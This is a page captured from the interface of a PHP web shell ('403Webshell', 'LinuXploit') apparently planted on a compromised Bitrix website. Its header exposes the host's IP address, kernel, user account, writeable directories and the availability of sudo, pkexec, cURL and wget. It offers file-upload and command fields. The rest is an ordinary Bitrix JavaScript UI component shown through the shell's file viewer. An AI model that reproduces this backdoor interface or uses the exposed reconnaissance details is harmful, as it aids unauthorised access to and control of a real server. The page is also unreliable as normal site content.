403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/catalog/access-denied-input/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/catalog/access-denied-input/src/index.js
import {Tag, Loc} from 'main.core';
import './style.css';

export class AccessDeniedInput
{
	hint: string;
	text: string;
	isReadOnly: boolean;

	constructor(options)
	{
		this.text = options.text || Loc.getMessage('CATALOG_ACCESS_DENIED_INPUT_TEXT');
		this.hint = options.hint;
		this.isReadOnly = options.isReadOnly === true;
	}

	renderTo(node: Element): void
	{
		const className =
			this.isReadOnly
				? 'ui-ctl-no-border catalog-access-denied-input-readonly'
				: 'ui-ctl-disabled catalog-access-denied-input'
		;
		const block = Tag.render`
		<div
			class="ui-ctl ui-ctl-w100 ui-ctl-before-icon ui-ctl-after-icon ${className}"
			data-hint="${this.hint}"
			data-hint-no-icon
		>
			<div class="ui-ctl-before catalog-access-denied-input-lock"></div>
			<div class="ui-ctl-after catalog-access-denied-input-hint"></div>
			<div class="ui-ctl-element">${this.text}</div>
		</div>
		`;

		node.innerHTML = '';
		node.appendChild(block);

		if (this.hint)
		{
			BX.UI.Hint.createInstance({
				popupParameters: {
					angle: {
						offset: 100,
					},
				},
			}).init();
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit